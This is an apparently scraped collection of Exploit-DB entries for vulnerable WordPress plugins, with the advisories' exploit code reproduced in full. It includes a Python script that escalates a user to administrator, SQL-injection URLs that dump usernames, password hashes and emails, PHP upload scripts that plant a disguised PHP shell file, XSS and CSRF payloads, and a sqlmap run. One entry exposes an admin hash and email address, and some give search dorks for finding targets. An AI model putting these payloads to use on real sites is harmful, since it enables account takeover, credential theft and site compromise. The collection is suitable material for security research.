deardaniel/secdata-raw huggingface dataset:
Exploit-DB #39489
Description: WordPress Plugin Extra User Details 0.4.2 - Privilege Escalation
Type: webapps
Platform: php
Date: 2016-02-24
Author: Panagiotis Vagenas

Exploit:
"""
* Exploit Title: Extra User Details [Privilege Escalation]
* Discovery Date: 2016-02-13
* Exploit Author: Panagiotis Vagenas
* Author Link: https://twitter.com/panVagenas
* Vendor Homepage: http://vadimk.com/
* Software Link: https://wordpress.org/plugins/extra-user-details/
* Version: 0.4.2
* Tested on: WordPress 4.4.2
* Category: WebApps, WordPress


Description
-----------

_Extra User Details_ plugin for WordPress suffers from a Privilege
Escalation
vulnerability.

The plugin hooks the `eud_update_ExtraFields` function to `profile_update`
WordPress action. This function doesn't properly check user capabilities
and
updates all meta information passed to post data. The only condition is
that
the post variable name has the `eud` prefix which is striped before
updating
the values in DB.

An attacker can exploit this misbehavior to update the
{prefix}\_capabilities
 meta information to gain administrative privileges.

PoC
---

In the following PoC we assume that the database has the `wp` prefix, a
very
common scenario as this is the default WordPress value

"""
# !/usr/bin/python3

################################################################################
# Extra User Details Privilege Escalation Exploit
#
# Author: Panagiotis Vagenas <pan.vagenas>
#
# Dependencies: BeautifulSoup
(http://www.crummy.com/software/BeautifulSoup/)
################################################################################

import requests
from bs4 import BeautifulSoup

baseUrl = 'http://example.com'
loginUrl = baseUrl + '/wp-login.php'
profileUrl = baseUrl + '/wp-admin/profile.php'

loginPostData = {
    'log': 'username',
    'pwd': 'password',
    'rememberme': 'forever',
    'wp-submit': 'Log+In'
}

s = requests.Session()

r = s.post(loginUrl, loginPostData)

if r.status_code != 200:
    print('Login error')
    exit(1)

r = s.get(profileUrl)
soup = BeautifulSoup(r.text, 'html.parser')

f = soup.find('form', {'id': 'your-profile'})
if not f:
    print('Error')
    exit(1)

data = {
    'eudwp_capabilities[administrator]': 1,
}

for i in f.find_all('input'):
    if 'name' in i.attrs and 'value' in i.attrs and i.attrs['value']:
        data[i.attrs['name']] = i.attrs['value']

r = s.post(profileUrl, data)

if r.status_code == 200:
    print('Success')

exit(0)

"""

Solution
--------

Upgrade to v0.4.2.1

Timeline
--------

1. **2016-02-13**: Vendor notified through wordpress.org support forums
2. **2016-02-13**: Vendor notified through through the contact form in
his website
3. **2016-02-13**: Vendor responded and received details about this issue
4. **2016-02-15**: Vendor released v0.4.2.1 which resolves this issue

"""
Exploit-DB #17773
Description: WordPress Plugin Facebook Opengraph Meta 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-03
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Facebook Opengraph Meta Plugin plugin <= 1.0 SQL Injection Vulnerability
# Date: 2011-09-03
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/facebook-opengraph-meta-plugin.zip
# Version: 1.0 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/facebook-opengraph-meta-plugin/all_meta.php?pst_title=1') UNION ALL SELECT CONCAT_WS(CHAR(44),version(),current_user(),database()),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23--%20&page=100&rows=1

---------------
Vulnerable code
---------------
$page = $_GET['page']; // get the requested page
$limit = $_GET['rows']; // get how many rows we want to have into the grid
...
if(isset($_REQUEST["pst_title"]))
    $pst_title = $_REQUEST['pst_title'];
...
if($pst_title!=''){
    $where.= " AND (wposts.post_title LIKE '%$pst_title%'";
    $where.= " OR wpostmeta.meta_value LIKE '%$pst_title%')";
}

$result = $wpdb->get_var("SELECT COUNT(*) AS count FROM $wpdb->postmeta WHERE meta_key = '_OgMeta'");
$count = $result['count'];
if( $count >0 )
{
    $total_pages = ceil($count/$limit);
}
else
{
    $total_pages = 0;
}
if ($page > $total_pages)
    $page=$total_pages; $start = $limit*$page - $limit;
...
$querystr = "
    SELECT wposts.*
    FROM $wpdb->posts wposts, $wpdb->postmeta wpostmeta
    WHERE wposts.ID = wpostmeta.post_id
    AND wpostmeta.meta_key = '_OgMeta'
    AND wposts.post_status = 'publish'
    AND (wposts.post_type = 'post' OR wposts.post_type = 'page')".$where.
    "ORDER BY wposts.post_date DESC
    LIMIT $start , $limit
    ";

$result = $wpdb->get_results($querystr);//, OBJECT);
Exploit-DB #17737
Description: WordPress Plugin Facebook Promotions 1.3.3 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-28
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Facebook Promotions plugin <= 1.3.3 SQL Injection Vulnerability
# Date: 2011-08-28
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/fbpromotions.1.3.3.zip
# Version: 1.3.3 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/fbpromotions/fbActivate.php?action=activate&name=test&id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
if($_REQUEST['action']=="activate"){
    $key = md5(get_option("key").$_REQUEST['name'].$_REQUEST['id']);
    ...
    $sql = "UPDATE fb_promotions SET `landing_order`=1,`activation_key`='".$key."' WHERE promo_id='".$_REQUEST['id']."'";
Exploit-DB #19398
Description: WordPress Plugin Fancy Gallery 1.2.4 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-25
Author: Sammy FORGIT

Exploit:
##################################################
# Description : Wordpress Plugins - Fancy Gallery Arbitrary File Upload Vulnerability
# Version : 1.2.4
# link : http://codecanyon.net/item/fancy-gallery-wordpress-plugin/400535
# Price : 18$
# Date : 22-06-2012
# Google Dork : inurl:/wp-content/plugins/radykal-fancy-gallery/
# Site : 1337day.com Inj3ct0r Exploit Database
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
##################################################


Exploit :

<?php

$uploadfile="lo.php.gif";

$ch =
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/radykal-fancy-gallery/admin/image-upload.php");

curl_setopt($ch, CURLOPT_POST, true); 
curl_setopt($ch, CURLOPT_POSTFIELDS, array('file[]'=>"@$uploadfile"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);

print "$postResult";

?>

Shell Access : http://www.exemple.com/wordpress/wp-content/plugins/radykal-fancy-gallery/admin/
Filename : $postResult output

lo.php.gif
<?php
phpinfo();
?>
Exploit-DB #36087
Description: WordPress Plugin Fancybox 3.0.2 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2015-02-16
Author: NULLpOint7r

Exploit:
# Exploit Title: Wordpress plugin Fancybox-for-WordPress Stored XSS
# Exploit Author: NULLpOint7r
# Date: 2015-02-11
# Contact me: seidbenseidok@gmail.com
# Version: 3.0.2
# Download link: https://downloads.wordpress.org/plugin/fancybox-for-wordpress.3.0.2.zip
# Home: http://www.sec4ever.com/home/

vulnerable code [fancybox.php]:
342.    if ( isset($_GET['page']) && $_GET['page'] == 'fancybox-for-wordpress' ) {
343.
344.        if ( isset($_REQUEST['action']) && 'update' == $_REQUEST['action'] ) {
345.
346.            $settings = stripslashes_deep( $_POST['mfbfw'] );
347.            $settings = array_map( 'convert_chars', $settings );
348.
349.            update_option( 'mfbfw', $settings );
350.            wp_safe_redirect( add_query_arg('updated', 'true') );  

exploit: 

<form method="POST" action="http://127.0.0.1/wp-admin/admin-post.php?page=fancybox-for-wordpress">
    <input type="text" name="action" value="update">
    <input type="text" name="mfbfw[padding]" value="</script><script>alert(/Owned by someone/)</script>">
    <input type="submit" value="Send">
</form>
Exploit-DB #36050
Description: WordPress Plugin Fast Secure Contact Form 3.0.3.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-08-17
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/49193/info

The Fast Secure Contact Form plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to Fast Secure Contact Form 3.0.3.2 are vulnerable. 

http://www.example.com/wp-content/plugins/si-contact-form/captcha/test/index.php/%22%3E%3Cscript%3Ealert%28document.coo kie%29;%3C/script%3E
Exploit-DB #39283
Description: WordPress Plugin FB Gorilla - 'game_play.php' SQL Injection
Type: webapps
Platform: php
Date: 2014-07-28
Author: Amirh03in

Exploit:
source: https://www.securityfocus.com/bid/69222/info

FB Gorilla plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/wp-content/plugins/fbgorilla/game_play.php?id=-7+/*!50000union*/+/*!50000select*/+1,2,%28/*!50000group_Concat%28user_login%29*/%29,4,5,6,7,8,9,0,1,2,3+from+wp_users--
Exploit-DB #35289
Description: WordPress Plugin FCChat Widget 2.1.7 - 'path' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-25
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46009/info

The FCChat Widget plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

FCChat Widget 2.1.7 is vulnerable; other versions may also be affected. 

http://localhost/wordpress/wp-content/plugins/fcchat/js/import.config.php?path=[xss]
Exploit-DB #37370
Description: WordPress Plugin FCChat Widget 2.2.x - 'upload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-07
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/53855/info

WordPress FCChat Widget plugin is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

WordPress FCChat Widget plugin 2.2.12.2 through versions 2.2.13.1 are vulnerable. 

<?php

$uploadfile="lo.php.gif";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/Upload.php?id=1");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
                'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : 
http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/images/1_lo.php.gif

lo.php.gif
<?php
phpinfo();
?>
Exploit-DB #35285
Description: WordPress Plugin Feature Slideshow 1.0.6 - 'src' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-24
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46004/info

The Feature Slideshow Plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Feature Slideshow Plugin 1.0.6 is vulnerable; other versions may also be affected.

http://www.example.com/wordpress/wp-content/plugins/feature-slideshow/timthumb.php?src=<script>alert(0)</script>
Exploit-DB #39213
Description: WordPress Plugin Featured Comments - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2014-06-10
Author: Tom Adams

Exploit:
source: https://www.securityfocus.com/bid/67955/info

Featured Comments plugin for WordPress is prone to a cross-site request-forgery vulnerability.

An attacker can exploit the cross-site request forgery issue to perform unauthorized actions in the context of a logged-in user of the affected application. This may aid in other attacks.

Featured Comments 1.2.1 is vulnerable; other versions may also be affected. 

<form action=\"http://localhost/wp-admin/admin-ajax.php?action=feature_comments\"; method=\"POST\">
  <input type=\"text\" name=\"do\" value=\"feature\">
  <input type=\"text\" name=\"comment_id\" value=\"9\">
  <input type=\"submit\">
</form>
Exploit-DB #35264
Description: WordPress Plugin Featured Content 0.0.1 - 'listid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-25
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/46001/info

The Featured Content plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Featured Content 0.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/x7host-videox7-ugc-plugin/x7listplayer.php?listid=[xss]
Exploit-DB #36339
Description: WordPress Plugin Featurific For WordPress 1.6.2 - 'snum' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-23
Author: Amir

Exploit:
source: https://www.securityfocus.com/bid/50779/info

Featurific For WordPress plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Featurific For WordPress 1.6.2 is vulnerable; other versions may also be affected.

UPDATE April 18, 2012: Further reports indicate this issue may not be a vulnerability; the issue can not be exploited as described. 

http://www.example.com/[path]/wp-content/plugins/featurific-for-wordpress/cached_image.php?snum=[xss]
Exploit-DB #34973
Description: WordPress Plugin FeedList 2.61.01 - 'handler_image.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-11-08
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/44704/info

The FeedList Plugin for Wordpress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Versions prior to FeedList 2.61.01 are vulnerable. 

http://www.example.com/wordpress/wp-content/plugins/feedlist/handler_image.php?i=%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #38414
Description: WordPress Plugin Feedweb - 'wp_post_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-03-30
Author: Stefan Schurtz

Exploit:
source: https://www.securityfocus.com/bid/58771/info

Feedweb plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Feedweb 1.8.8 and prior versions are vulnerable. 

 http://www.example.com/wordpress/wp-content/plugins/feedweb/widget_remove.php?wp_post_id=[XSS]
Exploit-DB #37067
Description: WordPress Plugin FeedWordPress 2015.0426 - SQL Injection
Type: webapps
Platform: php
Date: 2015-05-20
Author: Adrián M. F.

Exploit:
# Exploit Title: SQLi in FeedWordPress WordPress plugin
# Date: 2015-05-19
# Exploit Author: Adrián M. F.
# Vendor Homepage: https://wordpress.org/plugins/feedwordpress/
# Vulnerable version: 2015.0426
# Fixed version: 2015.0514
# CVE : CVE-2015-4018


(1) Authenticated SQLi [CWE-89]
-------------------------------

* CODE:
feedwordpresssyndicationpage.class.php:89
+++++++++++++++++++++++++++++++++++++++++
$targets = $wpdb->get_results("
    SELECT * FROM $wpdb->links
    WHERE link_id IN (".implode(",",$_POST['link_ids']).")
");
+++++++++++++++++++++++++++++++++++++++++
http://192.168.167.131/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php
POST DATA: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1[SQLi]

* POC:
SQLMap
+++++++++++++++++++++++++++++++++++++++++
./sqlmap.py -u "http://[domain]/wp-admin/admin.php?page=feedwordpress%2Fsyndication.php&visibility=Y" --data="_wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1" -p "link_ids[]" --dbms mysql --cookie="[cookie]"
[............]
POST parameter 'link_ids[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection points with a total of 62 HTTP(s) requests:
---
Parameter: link_ids[] (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) AND (SELECT * FROM (SELECT(SLEEP(5)))eHWc) AND (7794=7794

    Type: UNION query
    Title: Generic UNION query (NULL) - 13 columns
    Payload: _wpnonce=a909681945&_wp_http_referer=/wordpress/wp-admin/admin.php?page=feedwordpress/syndication.php&action=Update Checked&link_ids[]=1) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6b6a71,0x[PII_REDACTED][PII_REDACTED],0x[PII_REDACTED])-- 
---
[10:40:14] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 7.0 (wheezy)
web application technology: Apache 2.2.22, PHP 5.4.39
back-end DBMS: MySQL 5.0.12
+++++++++++++++++++++++++++++++++++++++++

Timeline
========
2015-05-09: Discovered vulnerability.
2015-05-14: Vendor notification.
2015-05-14: Vendor response and fix.
2015-05-19: Public disclosure.
Exploit-DB #4993
Description: WordPress Plugin fGallery 2.4.1 - 'fimrss.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-27
Author: Houssamix

Exploit:
--------------------------------------------------------------
        H-T Team [ HouSSaMix + ToXiC350 ] from MoroCCo
--------------------------------------------------------------
# Author : Houssamix From H-T Team
# Script : Wordpress Plugin fGallery 2.4.1                                    
# Download : http://www.fahlstad.se/wp-plugins/fgallery/                         
# BUG :  Remote SQL Injection Vulnerability  
# Dork : inurl:/wp-content/plugins/fgallery/

## Vulnerable CODE :
~~~~~~~ /wp-content/plugins/fgallery/fim_rss.php ~~~~~~~~~~~~~

$cat = $wpdb->get_row("SELECT * FROM $cats WHERE id = $_GET[album]");
$images = $wpdb->get_results("SELECT * FROM $imgs WHERE cat = $_GET[album] AND status = 'include'");
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

# Exploit :
[Target.il]/[wordpress_path]//wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--

Exemple :
http://site.il/wordpress/wp-content/plugins/fgallery/fim_rss.php?album=-1%20union%20select%201,concat(user_login,0x3a,user_pass,0x3a,user_email),3,4,5,6,7%20from%20wp_users--

src='http://site.il/wordpress/wp-content/fgallery/thumb_admin:051e3db4c8eee42d7c93df48dffe4d5f:markus@swimatyourownrisk.com' /><br>5  markus@swimatyourownrisk.com  Thu, 01 Jan 1970 00:00:00 +0100

Info => admin:051e3db4c8eee42d7c93df48dffe4d5f:markus@swimatyourownrisk.com

admin login http://target.il/wordpress_path/wp/wp-login.php


# Gr33tz : V40 (Stack-Terrorist) - Mahmood_ali - weliem & all muslims hackers  

------------------------||  Viva Palestine ||------------------------------
------------------------||  FREE GaZZA ||------------------------------

# milw0rm.com [2008-01-27]
Exploit-DB #17677
Description: WordPress Plugin File Groups 1.1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-17
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress File Groups plugin <= 1.1.2 SQL Injection Vulnerability
# Date: 2011-08-17
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/file-groups.1.1.2.zip
# Version: 1.1.2 (tested)

---
PoC
---
http://localhost/wp-content/plugins/file-groups/download.php?fgid=-1 AND 1=BENCHMARK(5000000,MD5(CHAR(87,120,109,121)))

---------------
Vulnerable code
---------------
$fgid = $_GET['fgid'];

...

$file_list = $wpdb->get_col("select guid from wp_posts where post_parent = $fgid");